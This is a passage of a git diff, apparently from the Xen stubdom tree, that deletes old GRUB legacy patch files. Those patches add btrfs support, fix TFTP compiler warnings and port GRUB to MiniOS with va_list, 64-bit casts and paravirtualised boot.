- 	-DFSYS_ISO9660=1 -DFSYS_JFS=1 -DFSYS_MINIX=1 -DFSYS_REISERFS=1 \
--	-DFSYS_UFS2=1 -DFSYS_VSTAFS=1 -DFSYS_XFS=1 \
-+	-DFSYS_BTRFS=1 -DFSYS_UFS2=1 -DFSYS_VSTAFS=1 -DFSYS_XFS=1 \
- 	-DUSE_MD5_PASSWORDS=1 -DSUPPORT_SERIAL=1 -DSUPPORT_HERCULES=1
- 
- # Stage 2 and Stage 1.5's.
-@@ -34,24 +34,26 @@ EXTRA_PROGRAMS = nbloader.exec pxeloader
- if DISKLESS_SUPPORT
- pkglib_DATA = stage2 stage2_eltorito e2fs_stage1_5 fat_stage1_5 \
- 	ffs_stage1_5 iso9660_stage1_5 jfs_stage1_5 minix_stage1_5 \
--	reiserfs_stage1_5 ufs2_stage1_5 vstafs_stage1_5 xfs_stage1_5 \
--	nbgrub pxegrub
-+	reiserfs_stage1_5 btrfs_stage1_5 ufs2_stage1_5 vstafs_stage1_5 \
-+	xfs_stage1_5 nbgrub pxegrub
- noinst_DATA = pre_stage2 start start_eltorito nbloader pxeloader diskless
- noinst_PROGRAMS = pre_stage2.exec start.exec start_eltorito.exec \
- 	e2fs_stage1_5.exec fat_stage1_5.exec ffs_stage1_5.exec \
- 	iso9660_stage1_5.exec jfs_stage1_5.exec minix_stage1_5.exec \
--	reiserfs_stage1_5.exec ufs2_stage1_5.exec vstafs_stage1_5.exec \
--	xfs_stage1_5.exec nbloader.exec pxeloader.exec diskless.exec
-+	reiserfs_stage1_5.exec btrfs_stage1_5.exec ufs2_stage1_5.exec \
-+	vstafs_stage1_5.exec xfs_stage1_5.exec nbloader.exec \
-+	pxeloader.exec diskless.exec
- else
- pkglib_DATA = stage2 stage2_eltorito e2fs_stage1_5 fat_stage1_5 \
- 	ffs_stage1_5 iso9660_stage1_5 jfs_stage1_5 minix_stage1_5 \
--	reiserfs_stage1_5 ufs2_stage1_5 vstafs_stage1_5 xfs_stage1_5
-+	reiserfs_stage1_5 btrfs_stage1_5 ufs2_stage1_5 vstafs_stage1_5 \
-+	xfs_stage1_5
- noinst_DATA = pre_stage2 start start_eltorito
- noinst_PROGRAMS = pre_stage2.exec start.exec start_eltorito.exec \
- 	e2fs_stage1_5.exec fat_stage1_5.exec ffs_stage1_5.exec \
- 	iso9660_stage1_5.exec jfs_stage1_5.exec minix_stage1_5.exec \
--	reiserfs_stage1_5.exec ufs2_stage1_5.exec vstafs_stage1_5.exec \
--	xfs_stage1_5.exec
-+	reiserfs_stage1_5.exec btrfs_stage1_5.exec ufs2_stage1_5.exec \
-+	vstafs_stage1_5.exec xfs_stage1_5.exec
- endif
- MOSTLYCLEANFILES = $(noinst_PROGRAMS)
- 
-@@ -95,15 +97,17 @@ STAGE1_5_COMPILE = $(STAGE2_COMPILE) -DN
- pre_stage2_exec_SOURCES = asm.S bios.c boot.c builtins.c char_io.c \
- 	cmdline.c common.c console.c disk_io.c fsys_ext2fs.c \
- 	fsys_fat.c fsys_ffs.c fsys_iso9660.c fsys_jfs.c fsys_minix.c \
--	fsys_reiserfs.c fsys_ufs2.c fsys_vstafs.c fsys_xfs.c gunzip.c \
--	hercules.c md5.c serial.c smp-imps.c stage2.c terminfo.c tparm.c \
--	graphics.c
-+	fsys_reiserfs.c fsys_btrfs.c fsys_ufs2.c fsys_vstafs.c fsys_xfs.c \
-+	gunzip.c hercules.c md5.c serial.c smp-imps.c stage2.c terminfo.c \
-+	tparm.c graphics.c
- pre_stage2_exec_CFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS)
- pre_stage2_exec_CCASFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS)
- pre_stage2_exec_LDFLAGS = $(PRE_STAGE2_LINK)
- 
- if NETBOOT_SUPPORT
--pre_stage2_exec_LDADD = ../netboot/libdrivers.a
-+pre_stage2_exec_LDADD = ../netboot/libdrivers.a -lgcc
-+else
-+pre_stage2_exec_LDADD = -lgcc
- endif
- 
- if DISKLESS_SUPPORT
-@@ -197,6 +201,16 @@ reiserfs_stage1_5_exec_CCASFLAGS = $(STA
- 	-DNO_BLOCK_FILES=1
- reiserfs_stage1_5_exec_LDFLAGS = $(STAGE1_5_LINK)
- 
-+# For btrfs_stage1_5 target.
-+btrfs_stage1_5_exec_SOURCES = start.S asm.S common.c char_io.c \
-+       disk_io.c stage1_5.c fsys_btrfs.c bios.c
-+btrfs_stage1_5_exec_CFLAGS = $(STAGE1_5_COMPILE) -DFSYS_BTRFS=1 \
-+       -DNO_BLOCK_FILES=1
-+btrfs_stage1_5_exec_CCASFLAGS = $(STAGE1_5_COMPILE) -DFSYS_BTRFS=1 \
-+       -DNO_BLOCK_FILES=1
-+btrfs_stage1_5_exec_LDFLAGS = $(STAGE1_5_LINK)
-+btrfs_stage1_5_exec_LDADD = -lgcc
-+
- # For vstafs_stage1_5 target.
- vstafs_stage1_5_exec_SOURCES = start.S asm.S common.c char_io.c \
- 	disk_io.c stage1_5.c fsys_vstafs.c bios.c
-@@ -240,7 +254,7 @@ diskless_exec_CFLAGS = $(STAGE2_COMPILE)
- diskless_exec_CCASFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS) \
- 	-DSUPPORT_DISKLESS=1
- diskless_exec_LDFLAGS = $(PRE_STAGE2_LINK)
--diskless_exec_LDADD = ../netboot/libdrivers.a
-+diskless_exec_LDADD = ../netboot/libdrivers.a -lgcc
- 
- diskless_size.h: diskless
- 	-rm -f $@
-diff -up grub-upstream.wip/stage2/shared.h.btrfs grub-upstream.wip/stage2/shared.h
---- grub-upstream.wip/stage2/shared.h.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/stage2/shared.h	2012-03-20 05:07:09.000000000 +0000
-@@ -207,11 +207,12 @@ extern char *grub_scratch_mem;
- #define STAGE2_ID_FAT_STAGE1_5		3
- #define STAGE2_ID_MINIX_STAGE1_5	4
- #define STAGE2_ID_REISERFS_STAGE1_5	5
--#define STAGE2_ID_VSTAFS_STAGE1_5	6
--#define STAGE2_ID_JFS_STAGE1_5		7
--#define STAGE2_ID_XFS_STAGE1_5		8
--#define STAGE2_ID_ISO9660_STAGE1_5	9
--#define STAGE2_ID_UFS2_STAGE1_5		10
-+#define STAGE2_ID_BTRFS_STAGE1_5	6
-+#define STAGE2_ID_VSTAFS_STAGE1_5	7
-+#define STAGE2_ID_JFS_STAGE1_5		8
-+#define STAGE2_ID_XFS_STAGE1_5		9
-+#define STAGE2_ID_ISO9660_STAGE1_5	10
-+#define STAGE2_ID_UFS2_STAGE1_5		11
- 
- #ifndef STAGE1_5
- # define STAGE2_ID	STAGE2_ID_STAGE2
-@@ -226,6 +227,8 @@ extern char *grub_scratch_mem;
- #  define STAGE2_ID	STAGE2_ID_MINIX_STAGE1_5
- # elif defined(FSYS_REISERFS)
- #  define STAGE2_ID	STAGE2_ID_REISERFS_STAGE1_5
-+# elif defined(FSYS_BTRFS)
-+#  define STAGE2_ID	STAGE2_ID_BTRFS_STAGE1_5
- # elif defined(FSYS_VSTAFS)
- #  define STAGE2_ID	STAGE2_ID_VSTAFS_STAGE1_5
- # elif defined(FSYS_JFS)
diff --git a/stubdom/grub.patches/70compiler_warnings.diff b/stubdom/grub.patches/70compiler_warnings.diff
deleted file mode 100644
index 15181fcfaa..0000000000
--- a/stubdom/grub.patches/70compiler_warnings.diff
+++ /dev/null
@@ -1,45 +0,0 @@
-[ 1436s] ../grub-upstream/netboot/fsys_tftp.c:213: warning: operation on 'block' may be undefined
-[ 1437s] ../grub-upstream/netboot/main.c:444: warning: operation on 'block' may be undefined
-
-[ 1234s] E: xen sequence-point ../grub-upstream/netboot/fsys_tftp.c:213
-[ 1234s] E: xen sequence-point ../grub-upstream/netboot/main.c:444
-
----
- netboot/fsys_tftp.c |    5 ++++-
- netboot/main.c      |    5 ++++-
- 2 files changed, 8 insertions(+), 2 deletions(-)
-
-Index: grub-0.97/netboot/fsys_tftp.c
-===================================================================
---- grub-0.97.orig/netboot/fsys_tftp.c
-+++ grub-0.97/netboot/fsys_tftp.c
-@@ -209,8 +209,11 @@ buf_fill (int abort)
- 	break;
- 
-       if ((block || bcounter) && (block != prevblock + (unsigned short) 1))
-+      {
-+	      block = prevblock;
- 	/* Block order should be continuous */
--	tp.u.ack.block = htons (block = prevblock);
-+	tp.u.ack.block = htons (block);
-+      }
-       
-       /* Should be continuous.  */
-       tp.opcode = abort ? htons (TFTP_ERROR) : htons (TFTP_ACK);
-Index: grub-0.97/netboot/main.c
-===================================================================
---- grub-0.97.orig/netboot/main.c
-+++ grub-0.97/netboot/main.c
-@@ -440,8 +440,11 @@ tftp (const char *name, int (*fnc) (unsi
- 	break;
-       
-       if ((block || bcounter) && (block != prevblock + 1))
-+      {
-+	      block = prevblock;
- 	/* Block order should be continuous */
--	tp.u.ack.block = htons (block = prevblock);
-+	tp.u.ack.block = htons (block);
-+      }
-       
-       /* Should be continuous.  */
-       tp.opcode = htons (TFTP_ACK);
diff --git a/stubdom/grub.patches/99minios b/stubdom/grub.patches/99minios
deleted file mode 100644
index d9b19138fd..0000000000
--- a/stubdom/grub.patches/99minios
+++ /dev/null
@@ -1,1570 +0,0 @@
-Index: grub/stage2/builtins.c
-===================================================================
---- grub.orig/stage2/builtins.c	2008-06-16 15:18:14.649009000 +0100
-+++ grub/stage2/builtins.c	2008-06-16 15:18:14.719009000 +0100
-@@ -45,8 +45,10 @@
- #ifdef GRUB_UTIL
- # include <device.h>
- #else /* ! GRUB_UTIL */
-+#ifndef __MINIOS
- # include <apic.h>
- # include <smp-imps.h>
-+#endif
- #endif /* ! GRUB_UTIL */
- 
- #ifdef USE_MD5_PASSWORDS
-@@ -246,11 +248,13 @@
- boot_func (char *arg, int flags)
- {
-   struct term_entry *prev_term = current_term;
-+#ifndef __MINIOS__
-   /* Clear the int15 handler if we can boot the kernel successfully.
-      This assumes that the boot code never fails only if KERNEL_TYPE is
-      not KERNEL_TYPE_NONE. Is this assumption is bad?  */
-   if (kernel_type != KERNEL_TYPE_NONE)
-     unset_int15_handler ();
-+#endif
- 
-   /* if our terminal needed initialization, we should shut it down
-    * before booting the kernel, but we want to save what it was so
-@@ -261,13 +265,21 @@
-       current_term = term_table; /* assumption: console is first */
-     }
- 
-+#ifndef __MINIOS__
- #ifdef SUPPORT_NETBOOT
-   /* Shut down the networking.  */
-   cleanup_net ();
- #endif
-+#endif
-   
-   switch (kernel_type)
-     {
-+#ifdef __MINIOS__
-+    case KERNEL_TYPE_PV:
-+      /* Paravirtualized */
-+      pv_boot();
-+      break;
-+#else
-     case KERNEL_TYPE_FREEBSD:
-     case KERNEL_TYPE_NETBSD:
-       /* *BSD */
-@@ -319,6 +331,7 @@
-       multi_boot ((int) entry_addr, (int) &mbi);
-       break;
- 
-+#endif
-     default:
-       errnum = ERR_BOOT_COMMAND;
-       return 1;
-@@ -1123,6 +1136,7 @@
- };
- 
- 
-+#ifndef __MINIOS__
- /* displayapm */
- static int
- displayapm_func (char *arg, int flags)
-@@ -1163,8 +1177,10 @@
-   "displayapm",
-   "Display APM BIOS information."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* displaymem */
- static int
- displaymem_func (char *arg, int flags)
-@@ -1218,6 +1234,7 @@
-   "Display what GRUB thinks the system address space map of the"
-   " machine is, including all regions of physical RAM installed."
- };
-+#endif
- 
- 
- /* dump FROM TO */
-@@ -1280,6 +1297,7 @@
- #endif /* GRUB_UTIL */
- 
- 
-+#ifndef __MINIOS__
- static char embed_info[32];
- /* embed */
- /* Embed a Stage 1.5 in the first cylinder after MBR or in the
-@@ -1413,6 +1431,7 @@
-   " is a drive, or in the \"bootloader\" area if DEVICE is a FFS partition."
-   " Print the number of sectors which STAGE1_5 occupies if successful."
- };
-+#endif
- 
- 
- /* fallback */
-@@ -1956,6 +1975,7 @@
- #endif /* SUPPORT_NETBOOT */
- 
- 
-+#ifndef __MINIOS__
- /* impsprobe */
- static int
- impsprobe_func (char *arg, int flags)
-@@ -1982,6 +2002,7 @@
-   " configuration table and boot the various CPUs which are found into"
-   " a tight loop."
- };
-+#endif
- 
- 
- /* initrd */
-@@ -1992,6 +2013,7 @@
-     {
-     case KERNEL_TYPE_LINUX:
-     case KERNEL_TYPE_BIG_LINUX:
-+    case KERNEL_TYPE_PV:
-       if (! load_initrd (arg))
- 	return 1;
-       break;
-@@ -2015,6 +2037,7 @@
- };
- 
- 
-+#ifndef __MINIOS__
- /* install */
- static int
- install_func (char *arg, int flags)
-@@ -2555,8 +2578,10 @@
-   " for LBA mode. If the option `--stage2' is specified, rewrite the Stage"
-   " 2 via your OS's filesystem instead of the raw device."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* ioprobe */
- static int
- ioprobe_func (char *arg, int flags)
-@@ -2598,6 +2623,7 @@
-   "ioprobe DRIVE",
-   "Probe I/O ports used for the drive DRIVE."
- };
-+#endif
- 
- /* print */
- static int
-@@ -2910,6 +2910,7 @@
-   switch (kernel_type)
-     {
-     case KERNEL_TYPE_MULTIBOOT:
-+    case KERNEL_TYPE_PV:
-       if (mb_cmdline + len + 1 > (char *) MB_CMDLINE_BUF + MB_CMDLINE_BUFLEN)
- 	{
- 	  errnum = ERR_WONT_FIT;
-@@ -3776,6 +3802,7 @@
- };
- 
- 
-+#ifndef __MINIOS__
- #ifdef SUPPORT_SERIAL
- /* serial */
- static int
-@@ -3927,8 +3954,10 @@
-   " default values are COM1, 9600, 8N1."
- };
- #endif /* SUPPORT_SERIAL */
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* setkey */
- struct keysym
- {
-@@ -4174,8 +4203,10 @@
-   " is a digit), and delete. If no argument is specified, reset key"
-   " mappings."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* setup */
- static int
- setup_func (char *arg, int flags)
-@@ -4484,6 +4515,7 @@
-   " partition where GRUB images reside, specify the option `--stage2'"
-   " to tell GRUB the file name under your OS."
- };
-+#endif
- 
- 
- #if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES) || defined(SUPPORT_GRAPHICS)
-@@ -4788,6 +4820,7 @@
- #endif /* SUPPORT_SERIAL */
- 	  
- 
-+#ifndef __MINIOS__
- /* testload */
- static int
- testload_func (char *arg, int flags)
-@@ -4874,8 +4907,10 @@
-   " consistent offset error. If this test succeeds, then a good next"
-   " step is to try loading a kernel."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* testvbe MODE */
- static int
- testvbe_func (char *arg, int flags)
-@@ -4979,6 +5014,7 @@
-   "testvbe MODE",
-   "Test the VBE mode MODE. Hit any key to return."
- };
-+#endif
- 
- 
- #ifdef SUPPORT_NETBOOT
-@@ -5075,6 +5111,7 @@
- };
- 
- 
-+#ifndef __MINIOS__
- /* uppermem */
- static int
- uppermem_func (char *arg, int flags)
-@@ -5095,8 +5132,10 @@
-   "Force GRUB to assume that only KBYTES kilobytes of upper memory are"
-   " installed.  Any system address range maps are discarded."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* vbeprobe */
- static int
- vbeprobe_func (char *arg, int flags)
-@@ -5203,6 +5242,7 @@
-   "Probe VBE information. If the mode number MODE is specified, show only"
-   " the information about only the mode."
- };
-+#endif
-   
- 
- /* The table of builtin commands. Sorted in dictionary order.  */
-@@ -5233,12 +5273,16 @@
- #ifdef SUPPORT_NETBOOT
-   &builtin_dhcp,
- #endif /* SUPPORT_NETBOOT */
-+#ifndef __MINIOS__
-   &builtin_displayapm,
-   &builtin_displaymem,
-+#endif
- #ifdef GRUB_UTIL
-   &builtin_dump,
- #endif /* GRUB_UTIL */
-+#ifndef __MINIOS__
-   &builtin_embed,
-+#endif
-   &builtin_fallback,
-   &builtin_find,
- #ifdef SUPPORT_GRAPHICS
-@@ -5253,10 +5297,14 @@
- #ifdef SUPPORT_NETBOOT
-   &builtin_ifconfig,
- #endif /* SUPPORT_NETBOOT */
-+#ifndef __MINIOS__
-   &builtin_impsprobe,
-+#endif
-   &builtin_initrd,
-+#ifndef __MINIOS__
-   &builtin_install,
-   &builtin_ioprobe,
-+#endif
-   &builtin_kernel,
-   &builtin_lock,
-   &builtin_makeactive,
-@@ -5283,11 +5331,13 @@
-   &builtin_root,
-   &builtin_rootnoverify,
-   &builtin_savedefault,
-+#ifndef __MINIOS__
- #ifdef SUPPORT_SERIAL
-   &builtin_serial,
- #endif /* SUPPORT_SERIAL */
-   &builtin_setkey,
-   &builtin_setup,
-+#endif
- #ifdef SUPPORT_GRAPHICS
-   &builtin_shade,
-   &builtin_splashimage,
-@@ -5298,16 +5348,20 @@
- #ifdef SUPPORT_SERIAL
-   &builtin_terminfo,
- #endif /* SUPPORT_SERIAL */
-+#ifndef __MINIOS__
-   &builtin_testload,
-   &builtin_testvbe,
-+#endif
- #ifdef SUPPORT_NETBOOT
-   &builtin_tftpserver,
- #endif /* SUPPORT_NETBOOT */
-   &builtin_timeout,
-   &builtin_title,
-   &builtin_unhide,
-+#ifndef __MINIOS__
-   &builtin_uppermem,
-   &builtin_vbeprobe,
-+#endif
- #ifdef SUPPORT_GRAPHICS
-   &builtin_viewport,
- #endif
-Index: grub/stage2/char_io.c
-===================================================================
---- grub.orig/stage2/char_io.c	2008-06-16 15:18:14.516009000 +0100
-+++ grub/stage2/char_io.c	2008-06-16 15:18:14.726009000 +0100
-@@ -20,6 +20,7 @@
- 
- #include <shared.h>
- #include <term.h>
-+#include <stdarg.h>
- 
- #ifdef SUPPORT_HERCULES
- # include <hercules.h>
-@@ -36,6 +37,7 @@
- #ifndef STAGE1_5
- struct term_entry term_table[] =
-   {
-+#ifdef SUPPORT_CONSOLE
-     {
-       "console",
-       0,
-@@ -52,6 +54,7 @@
-       0, 
-       0
-     },
-+#endif
- #ifdef SUPPORT_SERIAL
-     {
-       "serial",
-@@ -131,9 +134,9 @@
- }
- 
- char *
--convert_to_ascii (char *buf, int c,...)
-+convert_to_ascii (char *buf, int c, int _num)
- {
--  unsigned long num = *((&c) + 1), mult = 10;
-+  unsigned long num = _num, mult = 10;
-   char *ptr = buf;
- 
- #ifndef STAGE1_5
-@@ -182,11 +185,11 @@
- void
- grub_printf (const char *format,...)
- {
--  int *dataptr = (int *) &format;
-+  va_list ap;
-   char c, str[16];
--  
--  dataptr++;
- 
-+  va_start(ap, format);
-+  
-   while ((c = *(format++)) != 0)
-     {
-       if (c != '%')
-@@ -200,21 +203,32 @@
- 	  case 'X':
- #endif
- 	  case 'u':
--	    *convert_to_ascii (str, c, *((unsigned long *) dataptr++)) = 0;
-+	  {
-+	    unsigned i = va_arg(ap, unsigned);
-+	    *convert_to_ascii (str, c, i) = 0;
- 	    grub_putstr (str);
- 	    break;
-+          }
- 
- #ifndef STAGE1_5
- 	  case 'c':
--	    grub_putchar ((*(dataptr++)) & 0xff);
-+	  {
-+	    int c = va_arg(ap, int);
-+	    grub_putchar (c & 0xff);
- 	    break;
-+	  }
- 
- 	  case 's':
--	    grub_putstr ((char *) *(dataptr++));
-+	  {
-+	    char *s = va_arg(ap, char*);
-+	    grub_putstr (s);
- 	    break;
-+	  }
- #endif
- 	  }
-     }
-+
-+  va_end(ap);
- }
- 
- #ifndef STAGE1_5
-@@ -223,11 +237,11 @@
- {
-   /* XXX hohmuth
-      ugly hack -- should unify with printf() */
--  int *dataptr = (int *) &format;
-+  va_list ap;
-   char c, *ptr, str[16];
-   char *bp = buffer;
- 
--  dataptr++;
-+  va_start(ap, format);
- 
-   while ((c = *format++) != 0)
-     {
-@@ -237,20 +251,27 @@
- 	switch (c = *(format++))
- 	  {
- 	  case 'd': case 'u': case 'x':
--	    *convert_to_ascii (str, c, *((unsigned long *) dataptr++)) = 0;
-+	  {
-+	    unsigned i = va_arg(ap, unsigned);
-+	    *convert_to_ascii (str, c, i) = 0;
- 
- 	    ptr = str;
- 
- 	    while (*ptr)
- 	      *bp++ = *(ptr++); /* putchar(*(ptr++)); */
- 	    break;
-+	  }
- 
--	  case 'c': *bp++ = (*(dataptr++))&0xff;
-+	  case 'c':
-+	  {
-+	    int c = va_arg(ap, int);
-+	    *bp++ = c&0xff;
- 	    /* putchar((*(dataptr++))&0xff); */
- 	    break;
-+	  }
- 
- 	  case 's':
--	    ptr = (char *) (*(dataptr++));
-+	    ptr = va_arg(ap, char *);
- 
- 	    while ((c = *ptr++) != 0)
- 	      *bp++ = c; /* putchar(c); */
-@@ -258,6 +279,8 @@
- 	  }
-     }
- 
-+  va_end(ap);
-+
-   *bp = 0;
-   return bp - buffer;
- }
-@@ -1263,12 +1286,14 @@
-     return ! errnum;
- #endif /* GRUB_UTIL */
- 
-+#ifndef __MINIOS__
-   if ((addr < RAW_ADDR (0x1000))
-       || (addr < RAW_ADDR (0x100000)
- 	  && RAW_ADDR (mbi.mem_lower * 1024) < (addr + len))
-       || (addr >= RAW_ADDR (0x100000)
- 	  && RAW_ADDR (mbi.mem_upper * 1024) < ((addr - 0x100000) + len)))
-     errnum = ERR_WONT_FIT;
-+#endif
- 
-   return ! errnum;
- }
-@@ -1342,7 +1367,7 @@
- }
- #endif /* ! STAGE1_5 */
- 
--#ifndef GRUB_UTIL
-+#if !defined(GRUB_UTIL) && !defined(__MINIOS__)
- # undef memcpy
- /* GCC emits references to memcpy() for struct copies etc.  */
- void *memcpy (void *dest, const void *src, int n)  __attribute__ ((alias ("grub_memmove")));
-Index: grub/stage2/disk_io.c
-===================================================================
---- grub.orig/stage2/disk_io.c	2008-06-16 15:18:03.327932000 +0100
-+++ grub/stage2/disk_io.c	2008-06-16 15:18:14.733009000 +0100
-@@ -130,7 +130,14 @@
- static inline unsigned long
- log2 (unsigned long word)
- {
--  asm volatile ("bsfl %1,%0"
-+  asm volatile ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif  
-+		  " %1,%0"
- 		: "=r" (word)
- 		: "r" (word));
-   return word;
-Index: grub/stage2/fsys_fat.c
-===================================================================
---- grub.orig/stage2/fsys_fat.c	2008-06-16 15:18:03.337934000 +0100
-+++ grub/stage2/fsys_fat.c	2008-06-16 15:18:14.737009000 +0100
-@@ -57,7 +57,14 @@
- static __inline__ unsigned long
- log2 (unsigned long word)
- {
--  __asm__ ("bsfl %1,%0"
-+  __asm__ ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif
-+		  " %1,%0"
- 	   : "=r" (word)
- 	   : "r" (word));
-   return word;
-Index: grub/stage2/pc_slice.h
-===================================================================
---- grub.orig/stage2/pc_slice.h	2008-06-16 15:18:03.347932000 +0100
-+++ grub/stage2/pc_slice.h	2008-06-16 15:18:14.746009000 +0100
-@@ -38,50 +38,50 @@
-  */
- 
- #define PC_MBR_CHECK_SIG(mbr_ptr) \
--  ( *( (unsigned short *) (((int) mbr_ptr) + PC_MBR_SIG_OFFSET) ) \
-+  ( *( (unsigned short *) (((long) mbr_ptr) + PC_MBR_SIG_OFFSET) ) \
-    == PC_MBR_SIGNATURE )
- 
- #define PC_MBR_SIG(mbr_ptr) \
--  ( *( (unsigned short *) (((int) mbr_ptr) + PC_MBR_SIG_OFFSET) ) )
-+  ( *( (unsigned short *) (((long) mbr_ptr) + PC_MBR_SIG_OFFSET) ) )
- 
- #define PC_SLICE_FLAG(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_HEAD(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 1 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 1 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_SEC(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 2 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 2 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_CYL(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 3 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 3 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_TYPE(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 4 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 4 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_EHEAD(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 5 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 5 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_ESEC(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 6 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 6 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_ECYL(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 7 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 7 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_START(mbr_ptr, part) \
--  ( *( (unsigned long *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 8 \
-+  ( *( (unsigned long *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 8 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_LENGTH(mbr_ptr, part) \
--  ( *( (unsigned long *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 12 \
-+  ( *( (unsigned long *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 12 \
- 			  + (part << 4)) ) )
- 
- 
-Index: grub/stage2/shared.h
-===================================================================
---- grub.orig/stage2/shared.h	2008-06-16 15:18:14.537009000 +0100
-+++ grub/stage2/shared.h	2008-06-17 14:25:08.443906000 +0100
-@@ -39,6 +39,10 @@
- extern char *grub_scratch_mem;
- # define RAW_ADDR(x) ((x) + (int) grub_scratch_mem)
- # define RAW_SEG(x) (RAW_ADDR ((x) << 4) >> 4)
-+#elif defined(__MINIOS__)
-+extern char grub_scratch_mem[];
-+# define RAW_ADDR(x) ((x) + (int) grub_scratch_mem)
-+# define RAW_SEG(x) (RAW_ADDR ((x) << 4) >> 4)
- #else
- # define RAW_ADDR(x) (x)
- # define RAW_SEG(x) (x)
-@@ -707,7 +711,9 @@
- 
- /* Halt the system, using APM if possible. If NO_APM is true, don't use
-    APM even if it is available.  */
-+#ifndef __MINIOS__
- void grub_halt (int no_apm) __attribute__ ((noreturn));
-+#endif
- 
- /* Copy MAP to the drive map and set up int13_handler.  */
- void set_int13_handler (unsigned short *map);
-@@ -857,7 +863,8 @@
-   KERNEL_TYPE_BIG_LINUX,	/* Big Linux.  */
-   KERNEL_TYPE_FREEBSD,		/* FreeBSD.  */
-   KERNEL_TYPE_NETBSD,		/* NetBSD.  */
--  KERNEL_TYPE_CHAINLOADER	/* Chainloader.  */
-+  KERNEL_TYPE_CHAINLOADER,	/* Chainloader.  */
-+  KERNEL_TYPE_PV		/* Paravirtualized.  */
- }
- kernel_t;
- 
-@@ -890,7 +897,7 @@
- int grub_strlen (const char *str);
- char *grub_strcpy (char *dest, const char *src);
- 
--#ifndef GRUB_UTIL
-+#if !defined(GRUB_UTIL) && !defined(__MINIOS__)
- typedef unsigned long grub_jmp_buf[6];
- #else
- /* In the grub shell, use the libc jmp_buf instead.  */
-@@ -898,7 +905,7 @@
- # define grub_jmp_buf jmp_buf
- #endif
- 
--#ifdef GRUB_UTIL
-+#if defined(GRUB_UTIL) || defined(__MINIOS__)
- # define grub_setjmp	setjmp
- # define grub_longjmp	longjmp
- #else /* ! GRUB_UTIL */
-@@ -914,7 +921,7 @@
- /* misc */
- void init_page (void);
- void print_error (void);
--char *convert_to_ascii (char *buf, int c, ...);
-+char *convert_to_ascii (char *buf, int c, int num);
- int get_cmdline (char *prompt, char *cmdline, int maxlen,
- 		 int echo_char, int history);
- int substring (const char *s1, const char *s2);
-Index: grub/netboot/etherboot.h
-===================================================================
---- grub.orig/netboot/etherboot.h	2008-06-16 15:18:03.446934000 +0100
-+++ grub/netboot/etherboot.h	2008-06-16 15:18:14.760009000 +0100
-@@ -246,7 +246,7 @@
- 
- typedef struct
- {
--  unsigned long	s_addr;
-+  unsigned int	s_addr;
- }
- in_addr;
- 
-@@ -302,7 +302,7 @@
-   char bp_htype;
-   char bp_hlen;
-   char bp_hops;
--  unsigned long bp_xid;
-+  unsigned int bp_xid;
-   unsigned short bp_secs;
-   unsigned short unused;
-   in_addr bp_ciaddr;
-@@ -411,25 +411,25 @@
-     
-     struct
-     {
--      long id;
--      long type;
--      long rpcvers;
--      long prog;
--      long vers;
--      long proc;
--      long data[1];
-+      int id;
-+      int type;
-+      int rpcvers;
-+      int prog;
-+      int vers;
-+      int proc;
-+      int data[1];
-     }
-     call;
-     
-     struct
-     {
--      long id;
--      long type;
--      long rstatus;
--      long verifier;
--      long v2;
--      long astatus;
--      long data[1];
-+      int id;
-+      int type;
-+      int rstatus;
-+      int verifier;
-+      int v2;
-+      int astatus;
-+      int data[1];
-     }
-     reply;
-   }
-@@ -517,7 +517,9 @@
- 
- /* misc.c */
- extern void twiddle (void);
-+#ifndef __MINIOS__
- extern void sleep (int secs);
-+#endif
- extern int getdec (char **s);
